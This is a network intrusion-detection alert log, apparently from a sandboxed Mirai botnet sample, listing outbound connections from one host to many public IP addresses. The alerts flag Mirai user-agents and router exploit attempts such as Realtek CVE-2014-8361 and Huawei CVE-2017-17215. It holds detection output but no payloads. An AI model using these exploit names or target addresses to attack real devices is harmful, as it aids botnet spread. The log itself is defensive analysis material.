192.168.2.23164.155.235.16435986528692027339 10/23/22-17:58:36.207823	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35986	52869	192.168.2.23	164.155.235.164
192.168.2.2384.128.80.5643252802846457 10/23/22-17:56:43.243891	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43252	80	192.168.2.23	84.128.80.56
192.168.2.2378.140.134.18732774802846457 10/23/22-17:58:04.229718	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	32774	80	192.168.2.23	78.140.134.187
192.168.2.2395.85.43.23150884802027121 10/23/22-17:58:37.404942	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50884	80	192.168.2.23	95.85.43.231
192.168.2.2383.23.75.1352542802846380 10/23/22-17:58:30.980025	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52542	80	192.168.2.23	83.23.75.13
192.168.2.23213.10.80.11257334802846380 10/23/22-17:56:42.732402	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57334	80	192.168.2.23	213.10.80.112
192.168.2.2337.150.232.8151152802846457 10/23/22-17:57:08.354913	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51152	80	192.168.2.23	37.150.232.81
192.168.2.2382.153.66.5741406802846380 10/23/22-17:58:06.719457	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41406	80	192.168.2.23	82.153.66.57
192.168.2.235.2.203.4653962802846457 10/23/22-17:56:55.121791	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	53962	80	192.168.2.23	5.2.203.46
192.168.2.23206.189.135.5452776802846380 10/23/22-17:57:29.512407	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52776	80	192.168.2.23	206.189.135.54
192.168.2.2346.248.63.18754830802846457 10/23/22-17:57:43.531129	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54830	80	192.168.2.23	46.248.63.187
192.168.2.23156.241.118.18549524802841623 10/23/22-17:57:46.808203	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49524	80	192.168.2.23	156.241.118.185
192.168.2.2337.1.222.7946536802846457 10/23/22-17:57:07.095976	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46536	80	192.168.2.23	37.1.222.79
192.168.2.23168.181.187.25454136802835221 10/23/22-17:57:16.449081	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	54136	80	192.168.2.23	168.181.187.254
192.168.2.23112.83.38.16835688802027121 10/23/22-17:58:36.268889	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35688	80	192.168.2.23	112.83.38.168
192.168.2.2395.100.115.22055196802027121 10/23/22-17:57:33.458382	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55196	80	192.168.2.23	95.100.115.220
192.168.2.2361.110.198.2150616802846457 10/23/22-17:57:02.954510	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50616	80	192.168.2.23	61.110.198.21
192.168.2.23112.220.159.1247024802027121 10/23/22-17:57:10.375827	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	47024	80	192.168.2.23	112.220.159.12
192.168.2.23206.2.139.23659032802846380 10/23/22-17:57:55.415092	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59032	80	192.168.2.23	206.2.139.236
192.168.2.2346.242.205.11451852802846457 10/23/22-17:58:05.462895	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51852	80	192.168.2.23	46.242.205.114
192.168.2.2388.198.105.10752334802027121 10/23/22-17:56:51.035370	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52334	80	192.168.2.23	88.198.105.107
192.168.2.23181.198.64.13755770802846380 10/23/22-17:56:55.834421	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55770	80	192.168.2.23	181.198.64.137
192.168.2.2395.65.83.18654456802027121 10/23/22-17:57:21.048077	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54456	80	192.168.2.23	95.65.83.186
192.168.2.2378.129.173.4137622802846457 10/23/22-17:58:04.238204	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37622	80	192.168.2.23	78.129.173.41
192.168.2.2352.51.101.18956142802841623 10/23/22-17:57:11.020124	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56142	80	192.168.2.23	52.51.101.189
192.168.2.2388.99.164.352868802027121 10/23/22-17:57:21.050541	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52868	80	192.168.2.23	88.99.164.3
192.168.2.2380.114.22.1257820802846457 10/23/22-17:58:26.453208	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	57820	80	192.168.2.23	80.114.22.12
192.168.2.23112.19.3.21242120802027121 10/23/22-17:56:46.365118	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42120	80	192.168.2.23	112.19.3.212
192.168.2.23200.11.154.20660152802846380 10/23/22-17:58:22.232116	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60152	80	192.168.2.23	200.11.154.206
192.168.2.235.189.168.2338262802846457 10/23/22-17:57:46.216121	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38262	80	192.168.2.23	5.189.168.23
192.168.2.23112.213.87.3451162802027121 10/23/22-17:57:52.153428	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51162	80	192.168.2.23	112.213.87.34
192.168.2.23213.43.27.10837120802846380 10/23/22-17:57:03.881859	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37120	80	192.168.2.23	213.43.27.108
192.168.2.23213.106.24.19239220802846380 10/23/22-17:56:47.013902	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39220	80	192.168.2.23	213.106.24.192
192.168.2.2395.100.85.19533698802027121 10/23/22-17:57:57.655163	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	33698	80	192.168.2.23	95.100.85.195
192.168.2.23200.98.245.1650152802846380 10/23/22-17:57:10.839547	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	50152	80	192.168.2.23	200.98.245.16
192.168.2.2389.25.223.21946600802846457 10/23/22-17:57:43.767560	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46600	80	192.168.2.23	89.25.223.219
192.168.2.2378.47.101.738316802841623 10/23/22-17:58:25.556348	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38316	80	192.168.2.23	78.47.101.7
192.168.2.23178.32.150.6839950802846380 10/23/22-17:56:55.332041	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39950	80	192.168.2.23	178.32.150.68
192.168.2.23200.110.56.6260036802846380 10/23/22-17:58:17.045499	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60036	80	192.168.2.23	200.110.56.62
192.168.2.2388.216.212.9041186802027121 10/23/22-17:57:12.983209	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41186	80	192.168.2.23	88.216.212.90
192.168.2.2388.210.101.14647222802027121 10/23/22-17:58:02.447409	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	47222	80	192.168.2.23	88.210.101.146
192.168.2.2395.179.164.22051574802027121 10/23/22-17:56:53.247965	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51574	80	192.168.2.23	95.179.164.220
192.168.2.23169.62.56.11454474802846380 10/23/22-17:56:58.238376	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54474	80	192.168.2.23	169.62.56.114
192.168.2.23178.250.168.4255516802846380 10/23/22-17:57:09.467309	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	55516	80	192.168.2.23	178.250.168.42
192.168.2.235.196.14.22152520802846457 10/23/22-17:57:46.216045	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52520	80	192.168.2.23	5.196.14.221
192.168.2.2379.143.177.11741010802841623 10/23/22-17:57:01.100624	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41010	80	192.168.2.23	79.143.177.117
192.168.2.23122.116.201.16556410802846457 10/23/22-17:57:26.392157	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56410	80	192.168.2.23	122.116.201.165
192.168.2.2395.0.234.3537934802027121 10/23/22-17:57:57.716202	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37934	80	192.168.2.23	95.0.234.35
192.168.2.23213.94.201.7142222802846380 10/23/22-17:57:18.646359	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42222	80	192.168.2.23	213.94.201.71
192.168.2.2395.56.225.17739400802027121 10/23/22-17:57:25.955765	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39400	80	192.168.2.23	95.56.225.177
192.168.2.23156.232.160.14242154802841623 10/23/22-17:58:03.912064	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42154	80	192.168.2.23	156.232.160.142
192.168.2.2388.221.182.23551106802027121 10/23/22-17:58:32.660992	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	51106	80	192.168.2.23	88.221.182.235
192.168.2.2395.215.177.14245136802027121 10/23/22-17:58:15.265611	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	45136	80	192.168.2.23	95.215.177.142
192.168.2.2385.228.41.14559924802846457 10/23/22-17:58:26.402621	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59924	80	192.168.2.23	85.228.41.145
192.168.2.2388.221.60.19256346802027121 10/23/22-17:58:10.564137	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56346	80	192.168.2.23	88.221.60.192
192.168.2.2335.76.110.7749512802835221 10/23/22-17:57:43.028125	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	49512	80	192.168.2.23	35.76.110.77
192.168.2.23176.31.131.5048328802835221 10/23/22-17:57:42.978234	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	48328	80	192.168.2.23	176.31.131.50
192.168.2.232.23.178.7735356802846457 10/23/22-17:57:03.750109	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35356	80	192.168.2.23	2.23.178.77
192.168.2.23122.237.29.8151658528692027339 10/23/22-17:58:36.025892	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51658	52869	192.168.2.23	122.237.29.81
192.168.2.23178.114.128.13644374802846380 10/23/22-17:56:49.724019	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	44374	80	192.168.2.23	178.114.128.136
192.168.2.23164.155.207.1733602528692027339 10/23/22-17:58:36.207886	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33602	52869	192.168.2.23	164.155.207.17
192.168.2.2395.59.179.11236332802027121 10/23/22-17:58:07.461025	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	36332	80	192.168.2.23	95.59.179.112
192.168.2.2389.252.157.17443302802846457 10/23/22-17:58:10.307732	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43302	80	192.168.2.23	89.252.157.174
192.168.2.2395.216.25.2137636802027121 10/23/22-17:58:15.276581	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37636	80	192.168.2.23	95.216.25.21
192.168.2.2361.220.207.23139504802846457 10/23/22-17:57:31.808963	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39504	80	192.168.2.23	61.220.207.231
192.168.2.2380.94.147.21537666802846380 10/23/22-17:57:51.816472	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37666	80	192.168.2.23	80.94.147.215
192.168.2.23195.123.231.14047156802846457 10/23/22-17:56:43.217353	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47156	80	192.168.2.23	195.123.231.140
192.168.2.2386.10.33.12149246802846380 10/23/22-17:57:33.283670	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49246	80	192.168.2.23	86.10.33.121
192.168.2.2389.251.20.5552836802846457 10/23/22-17:57:07.112689	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52836	80	192.168.2.23	89.251.20.55
192.168.2.23156.240.40.25156694802841623 10/23/22-17:58:37.551895	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56694	80	192.168.2.23	156.240.40.251
192.168.2.23195.211.100.2560994802846457 10/23/22-17:58:30.765652	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60994	80	192.168.2.23	195.211.100.25
192.168.2.2382.100.18.4933506802846380 10/23/22-17:57:07.294407	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33506	80	192.168.2.23	82.100.18.49
192.168.2.2388.221.10.2860992802027121 10/23/22-17:56:39.208604	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	60992	80	192.168.2.23	88.221.10.28
192.168.2.23195.55.52.5135300802841623 10/23/22-17:58:35.884313	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35300	80	192.168.2.23	195.55.52.51
192.168.2.2384.118.219.7837654802846457 10/23/22-17:56:43.288482	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37654	80	192.168.2.23	84.118.219.78
192.168.2.23178.32.17.15748436802846380 10/23/22-17:56:49.720400	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48436	80	192.168.2.23	178.32.17.157
192.168.2.2337.150.237.12854910802846457 10/23/22-17:56:51.926567	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54910	80	192.168.2.23	37.150.237.128
192.168.2.2395.55.233.22439874802027121 10/23/22-17:57:54.655648	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	39874	80	192.168.2.23	95.55.233.224
192.168.2.2388.77.251.737246802027121 10/23/22-17:58:02.129377	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	37246	80	192.168.2.23	88.77.251.7
192.168.2.2382.196.15.18440920802846380 10/23/22-17:58:04.014303	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40920	80	192.168.2.23	82.196.15.184
192.168.2.23200.61.47.20360720802846380 10/23/22-17:57:14.220148	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60720	80	192.168.2.23	200.61.47.203
192.168.2.2383.166.146.20951662802846380 10/23/22-17:57:22.143981	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	51662	80	192.168.2.23	83.166.146.209
192.168.2.23195.32.122.12946140802846457 10/23/22-17:56:43.219777	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	46140	80	192.168.2.23	195.32.122.129
192.168.2.2376.8.104.8342736802841623 10/23/22-17:58:11.415337	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42736	80	192.168.2.23	76.8.104.83
192.168.2.2385.214.64.10940076802846457 10/23/22-17:57:16.979849	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40076	80	192.168.2.23	85.214.64.109
192.168.2.232.17.94.13135892802846457 10/23/22-17:57:28.759198	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35892	80	192.168.2.23	2.17.94.131
192.168.2.23181.177.110.24940790802846380 10/23/22-17:57:48.710725	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40790	80	192.168.2.23	181.177.110.249
192.168.2.2388.99.14.5255250802027121 10/23/22-17:58:19.560079	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	55250	80	192.168.2.23	88.99.14.52
192.168.2.23200.208.61.11841710802846380 10/23/22-17:58:22.247873	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41710	80	192.168.2.23	200.208.61.118
192.168.2.23188.232.165.1074168875472835222 10/23/22-17:58:21.213326	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41688	7547	192.168.2.23	188.232.165.107
192.168.2.23156.244.32.16440912802841623 10/23/22-17:58:25.695789	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40912	80	192.168.2.23	156.244.32.164
192.168.2.235.2.88.8552354802846457 10/23/22-17:57:02.927723	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52354	80	192.168.2.23	5.2.88.85
192.168.2.2388.116.147.14157218802027121 10/23/22-17:56:54.889745	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	57218	80	192.168.2.23	88.116.147.141
192.168.2.23164.46.58.17147272802846457 10/23/22-17:57:22.797573	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47272	80	192.168.2.23	164.46.58.171
192.168.2.2382.102.13.10236816802846380 10/23/22-17:58:06.181287	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36816	80	192.168.2.23	82.102.13.102
192.168.2.2389.161.195.9949878802846457 10/23/22-17:57:38.016792	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	49878	80	192.168.2.23	89.161.195.99
192.168.2.2388.99.113.9154952802027121 10/23/22-17:57:47.238141	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	54952	80	192.168.2.23	88.99.113.91
192.168.2.2385.195.140.20635646802846457 10/23/22-17:57:00.397651	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35646	80	192.168.2.23	85.195.140.206
192.168.2.2349.12.56.7033412802841623 10/23/22-17:57:28.381541	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33412	80	192.168.2.23	49.12.56.70
192.168.2.23112.175.10.19835010802027121 10/23/22-17:58:25.691640	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	35010	80	192.168.2.23	112.175.10.198
192.168.2.2354.246.138.24149212802835221 10/23/22-17:57:01.124424	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	49212	80	192.168.2.23	54.246.138.241
192.168.2.2388.147.135.11252966802027121 10/23/22-17:57:59.913056	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	52966	80	192.168.2.23	88.147.135.112
192.168.2.2386.189.206.344114275472023548 10/23/22-17:58:01.539645	TCP	2023548	ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE	41142	7547	192.168.2.23	86.189.206.34
192.168.2.2388.116.239.15456274802027121 10/23/22-17:56:51.027716	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	56274	80	192.168.2.23	88.116.239.154
192.168.2.23178.205.105.23042748802846380 10/23/22-17:57:09.510951	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42748	80	192.168.2.23	178.205.105.230
192.168.2.2395.209.205.15544816802027121 10/23/22-17:57:25.764452	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	44816	80	192.168.2.23	95.209.205.155
192.168.2.2388.216.231.12838162802027121 10/23/22-17:58:07.287651	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	38162	80	192.168.2.23	88.216.231.128
192.168.2.23213.248.147.16737714802846380 10/23/22-17:56:47.038896	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	37714	80	192.168.2.23	213.248.147.167
192.168.2.2369.161.149.20935726802835222 10/23/22-17:58:21.288857	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35726	80	192.168.2.23	69.161.149.209
192.168.2.2346.130.113.11139804802846457 10/23/22-17:58:15.493956	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39804	80	192.168.2.23	46.130.113.111
192.168.2.23213.229.106.15140178802846380 10/23/22-17:56:42.732531	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40178	80	192.168.2.23	213.229.106.151
192.168.2.23156.229.211.22939640802835221 10/23/22-17:57:28.747625	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	39640	80	192.168.2.23	156.229.211.229
192.168.2.2380.252.137.2243862802846380 10/23/22-17:58:25.099678	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43862	80	192.168.2.23	80.252.137.22
192.168.2.2395.129.250.1842282802027121 10/23/22-17:56:48.880433	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42282	80	192.168.2.23	95.129.250.18
192.168.2.2380.150.190.25254436802846457 10/23/22-17:57:32.436895	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	54436	80	192.168.2.23	80.150.190.252
192.168.2.23195.66.210.18059592802846457 10/23/22-17:58:21.688404	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59592	80	192.168.2.23	195.66.210.180
192.168.2.23197.25.143.23243680802841623 10/23/22-17:57:01.386185	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	43680	80	192.168.2.23	197.25.143.232
192.168.2.2383.136.2.23745490802846380 10/23/22-17:57:15.823067	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45490	80	192.168.2.23	83.136.2.237
192.168.2.2395.56.81.2141436802027121 10/23/22-17:57:10.506857	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41436	80	192.168.2.23	95.56.81.21
192.168.2.2380.90.62.13958766802846380 10/23/22-17:58:25.058870	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	58766	80	192.168.2.23	80.90.62.139
192.168.2.23181.57.98.13559810802846380 10/23/22-17:56:47.476510	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	59810	80	192.168.2.23	181.57.98.135
192.168.2.23200.174.148.16147054802846380 10/23/22-17:58:22.686788	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47054	80	192.168.2.23	200.174.148.161
192.168.2.2389.163.225.14736418802846457 10/23/22-17:57:38.008988	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36418	80	192.168.2.23	89.163.225.147
192.168.2.2373.81.42.10756262802841623 10/23/22-17:57:07.567330	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	56262	80	192.168.2.23	73.81.42.107
192.168.2.2388.249.39.3548116802027121 10/23/22-17:56:55.724106	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	48116	80	192.168.2.23	88.249.39.35
192.168.2.2378.138.108.3835180802846457 10/23/22-17:57:47.779270	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35180	80	192.168.2.23	78.138.108.38
192.168.2.235.189.155.18238420802846457 10/23/22-17:58:39.952224	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38420	80	192.168.2.23	5.189.155.182
192.168.2.2385.128.155.14947928802846457 10/23/22-17:57:58.561807	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47928	80	192.168.2.23	85.128.155.149
192.168.2.2395.183.37.8950146802027121 10/23/22-17:57:21.058132	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50146	80	192.168.2.23	95.183.37.89
192.168.2.2385.237.54.9639018802846457 10/23/22-17:58:26.432249	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	39018	80	192.168.2.23	85.237.54.96
192.168.2.2388.208.205.13840348802027121 10/23/22-17:58:35.005809	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40348	80	192.168.2.23	88.208.205.138
192.168.2.23178.143.29.5842854802846380 10/23/22-17:58:13.493328	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	42854	80	192.168.2.23	178.143.29.58
192.168.2.23185.168.174.24038086802841623 10/23/22-17:58:11.394085	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	38086	80	192.168.2.23	185.168.174.240
192.168.2.23156.213.12.10237264802835221 10/23/22-17:58:14.113045	TCP	2835221	ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version)	37264	80	192.168.2.23	156.213.12.102
192.168.2.2395.179.150.11842026802027121 10/23/22-17:56:48.741536	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	42026	80	192.168.2.23	95.179.150.118
192.168.2.23178.128.178.3145572802846380 10/23/22-17:58:27.560480	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	45572	80	192.168.2.23	178.128.178.31
192.168.2.2395.27.227.12840530802027121 10/23/22-17:57:28.487376	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	40530	80	192.168.2.23	95.27.227.128
192.168.2.235.23.51.10434274802846457 10/23/22-17:57:53.331368	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	34274	80	192.168.2.23	5.23.51.104
192.168.2.2386.95.220.19935952802846380 10/23/22-17:57:01.321400	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	35952	80	192.168.2.23	86.95.220.199
192.168.2.2383.96.110.19341652802846380 10/23/22-17:57:15.955988	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	41652	80	192.168.2.23	83.96.110.193
192.168.2.235.180.104.11033960802846457 10/23/22-17:57:35.654459	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33960	80	192.168.2.23	5.180.104.110
192.168.2.2376.143.163.6552016802841623 10/23/22-17:57:12.577016	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	52016	80	192.168.2.23	76.143.163.65
192.168.2.2385.245.197.13947800802846457 10/23/22-17:57:58.553666	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	47800	80	192.168.2.23	85.245.197.139
192.168.2.23156.241.118.18548652802841623 10/23/22-17:57:35.661549	TCP	2841623	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	48652	80	192.168.2.23	156.241.118.185
192.168.2.2384.38.185.14360264802846457 10/23/22-17:57:46.329699	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60264	80	192.168.2.23	84.38.185.143
192.168.2.2385.214.25.17840000802846457 10/23/22-17:56:48.675092	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	40000	80	192.168.2.23	85.214.25.178
192.168.2.2388.99.211.2741924802027121 10/23/22-17:57:05.124779	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	41924	80	192.168.2.23	88.99.211.27
192.168.2.2395.31.35.4049782802027121 10/23/22-17:57:18.864521	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	49782	80	192.168.2.23	95.31.35.40
192.168.2.2395.253.97.13150314802027121 10/23/22-17:58:37.493609	TCP	2027121	ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami)	50314	80	192.168.2.23	95.253.97.131
192.168.2.2336.37.70.19260244372152835222 10/23/22-17:57:58.315251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60244	37215	192.168.2.23	36.37.70.192
192.168.2.2337.26.115.9636372802846457 10/23/22-17:56:51.848251	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	36372	80	192.168.2.23	37.26.115.96
192.168.2.235.196.28.9833874802846457 10/23/22-17:57:35.591913	TCP	2846457	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	33874	80	192.168.2.23	5.196.28.98
192.168.2.2382.221.21.6460606802846380 10/23/22-17:58:36.892932	TCP	2846380	ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound)	60606	80	192.168.2.23	82.221.21.64
